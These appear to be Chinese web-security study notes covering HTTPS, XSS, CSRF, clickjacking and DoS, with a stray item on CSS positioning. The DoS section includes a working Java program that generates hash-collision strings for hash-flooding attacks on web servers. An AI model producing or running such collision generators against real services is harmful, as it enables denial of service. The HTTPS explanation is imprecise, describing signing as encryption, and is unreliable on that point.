web安全

1.解释HTTPS的原理和作用

原理：

1. CA产生一张根证书放置浏览器，一个私钥
2. 服务器产生一张证书，一个私钥
3. 服务器向CA发送请求证书，CA用私钥对其加密，并返回服务器
4. 浏览器请求服务器，服务器响应刚得到的证书
5. 浏览器把根证书和响应得到的证书进行验证，如果正确，则可信任。

作用：

1. 验证服务器或客户端用户身份
2. 对通信内容数据进行加密
3. 验证数据的完整性

2.解释CSS四种定位方式的特点和作用

1. static: 在文档流中，没有定位，默认值
2. relative: 在文档流中，相对于其正常位置进行定位
3. absolute: 不在文档流中，相对于已定位的第一个父元素进行定位
4. fixed: 不在文档流中，相对于窗口定位

3.解释XSS的原理

XSS: 跨站脚本攻击

攻击者在留言栏等地方输入一段脚本提交服务器，当用户查看留言栏时这段脚本在用户浏览器执行，完成攻击者想要完成的操作。

防御：在服务器端过滤掉这些脚本，不允许执行，改为文本输出

4.解释CSRF的原理

CSRF:跨站请求伪造攻击

受害者在登录状态时点击攻击者的连接，该表单提交给服务器时会带上cookie，服务器误以为是受害者本人，因而执行请求，完成攻击

防御：用户登录时服务器给网页一个随机值，以后的每次请求网页都会提交这个随机值并与服务器session中的值相比较，只有相同才允许相应的操作

5.点击劫持

在web端就是嵌套一个透明不可见的iframe，让用户在不知情的情况下，点击攻击者想要骗取用户点击的位置。通过z-index设置优先级，opacity设置可见性

防御：if(top.location!=self.location)

　　　　top.location=self.location;

6.Dos攻击

拒绝服务攻击，耗尽计算机资源，使计算机无法提供正常服务

例子：http://www.cnblogs.com/rush/archive/2012/02/05/2339037.html

Hash Collision DoS

哈希表在最坏情况下插入n个元素的算法复杂度为n^2，我们可以寻找hash值相同的冲突字符串

算法：

1. 随机产生一个3位后缀2^16次并计算对应的hashback值，构成一张查找表
2. 随机产生一个7位前缀字符串，并计算对应的hashforth值h，如果h在表中则打印前缀和后缀共十位字符串
3. 重复步骤2
4. 所有的10位串构成冲突串，其hash值为用户指定值end.

Java实现：

 1 import java.util.HashMap;
 2 import java.util.Map;
 3 
 4 public class HashCollision {
 5     // 90 characters
 6     private static String string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789?/<>,.~‘{}[]|`!@#$%^&*()_+-=";
 7     private static int end = 0;
 8     private static int suffixLength = 3;
 9     private static int prefixLength = 7;
10 
11     public static void main(String[] args) {
12         long startMili = System.currentTimeMillis();
13         
14         Map hm = new HashMap();
15         int times =  (int) Math.pow(2, 20);
16         for (int i = 0; i < times; i++) {
17             String suffix = getRandomString(suffixLength);
18             hm.put(hashBack(suffix), suffix);
19         }
20         // about 100,500 item
21         // System.out.println(hm.size());
22         int count = 0;
23         for (int i = 0; i < 125000000; i++) {
24             String prefix = getRandomString(prefixLength);
25             String s = hashForth(prefix);
26             String value = (String) hm.get(s);
27             if (value != null) {
28                 count++;
29                 String result = prefix + value;
30                 System.out.println(result);
31             }
32         }
33         System.out.println("total result " + count);
34 
35         long endMili = System.currentTimeMillis();
36         System.out.println("cost time " + (endMili - startMili) / 1000 + "s");
37     }
38 
39     private static String hashBack(String s) {
40         int hash = end;
41         int length = s.length();
42         for (; length > 0; length -= 1) {
43             hash = (hash ^ s.charAt(length - 1)) * 1041204193;
44         }
45         return Integer.toHexString(hash);// unsigned int in base 16
46     }
47 
48     private static String hashForth(String s) {
49         int hash = 5381;
50         int length = s.length();
51         for (int i = 0; i < length; i++) {
52             hash = ((hash << 5) + hash) ^ s.charAt(i);
53         }
54         return Integer.toHexString(hash);// unsigned int in base 16
55     }
56 
57     private static String getRandomString(int length) {
58         StringBuilder sb = new StringBuilder();
59         int len = string.length();
60         for (int i = 0; i < length; i++) {
61             sb.append(string.charAt((int) (Math.random() * len)));
62         }
63         return sb.toString();
64     }
65 }

本机上运行，48s找到3100个冲突串。